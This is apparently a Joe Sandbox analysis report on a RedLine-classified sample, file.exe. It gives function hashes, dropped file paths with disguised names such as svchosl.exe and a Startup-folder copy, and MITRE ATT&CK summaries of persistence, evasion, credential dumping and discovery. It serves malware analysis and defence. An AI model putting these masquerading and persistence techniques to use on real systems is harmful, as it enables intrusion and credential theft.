Opcode Fuzzy Hash: 25a7aafac258ae664b9d2498e730b645ccdf2fda12b26b1119dd1983c742fc39
Instruction Fuzzy Hash: E9E0EC309593818FCB129B74E456A407FB4BF432A4B1580DBD441CA063DB29840FD761

Function 085757B8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26ff4c871d98c29b61e5598da012fcecb4c720ef4d1830fbfeeb168c7d59c88b
Instruction ID: d63b5fb0622eea681374ace260c255e404df6b0b1a13dbeb57b0231c569060e3
Opcode Fuzzy Hash: 26ff4c871d98c29b61e5598da012fcecb4c720ef4d1830fbfeeb168c7d59c88b
Instruction Fuzzy Hash: 12D09E36101214FBCB165B95D900895BF69EF1D35971440ADE5095A222C733D862EBD4

Function 08605B38 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be848c2e186c7c2271b784a47fd3666b13b76ff5f6586d89d2bcfad65b4dce77
Instruction ID: 2618876d2a5fca92e4e7fa5189c8da62c14a0a8dbf7d414d1cb87a4193cc5568
Opcode Fuzzy Hash: be848c2e186c7c2271b784a47fd3666b13b76ff5f6586d89d2bcfad65b4dce77
Instruction Fuzzy Hash: 1CD0C9312649288FC715AB6CF4448997BEDEF4A66531041AAF61ACB336DFA5AC048BC4

Function 07C6688B Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dd06d2e4f2cdc7acdf212dffe1db2b7406250f0d9a4eaa77312f1db1c36acee
Instruction ID: 416aa552ee6ef927627b007de102498b384e952fbf69d2935a7555aabc9e0ced
Opcode Fuzzy Hash: 6dd06d2e4f2cdc7acdf212dffe1db2b7406250f0d9a4eaa77312f1db1c36acee
Instruction Fuzzy Hash: 27C012727040205B9694665C700006DA7C7D2D89B2394116FD50AC3308CDB04C034780

Function 085712B2 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d8bfdc34661f6c12e30950d750204297fbb87c68e7ae144d3573f2d107d386b
Instruction ID: 8eadaf04fe7203f4f18d56aa9b0c4afce188dda25e10247599b6ec62a42d2dde
Opcode Fuzzy Hash: 9d8bfdc34661f6c12e30950d750204297fbb87c68e7ae144d3573f2d107d386b
Instruction Fuzzy Hash: 73C04C1400F7D52DCB0352245C58897BF7D2E5311134E51C7D9C4DE157814954489776

Function 07C69E50 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ab94b505eda7d584db7e79a06bccc3d3cd3b512dd223ecae1498da8906e29f
Instruction ID: 0c94ef5e0c07b02247d82960c16cc706ff177b98449b0e21bac1ad9a13a43843
Opcode Fuzzy Hash: 95ab94b505eda7d584db7e79a06bccc3d3cd3b512dd223ecae1498da8906e29f
Instruction Fuzzy Hash: CFC0121020C7C28FDB4B123049166A03F211F83204B8880E2C8EA8A483CA180C1BEB12

Function 08982505 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 462f806103f530d795e63e7cd30240698a3559f3884ee21002b46cc62c982ebf
Instruction ID: 10b466fa588a68e1e30b278895c229986f20b390fcaa83605e210f3b2cf9e225
Opcode Fuzzy Hash: 462f806103f530d795e63e7cd30240698a3559f3884ee21002b46cc62c982ebf
Instruction Fuzzy Hash: 4EB09277A04009C9DB00AAC4B4413EDFB20F795226F104027C25062000C232016897A1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\1.exe

C:\ProgramData\MicrosoftSystem\Wmiic.exe

C:\ProgramData\MicrosoftSystem\run.bat

C:\ProgramData\MicrosoftSystem\svchosl.exe

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe

C:\ProgramData\migrate.exe

C:\ProgramData\ru.bat

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre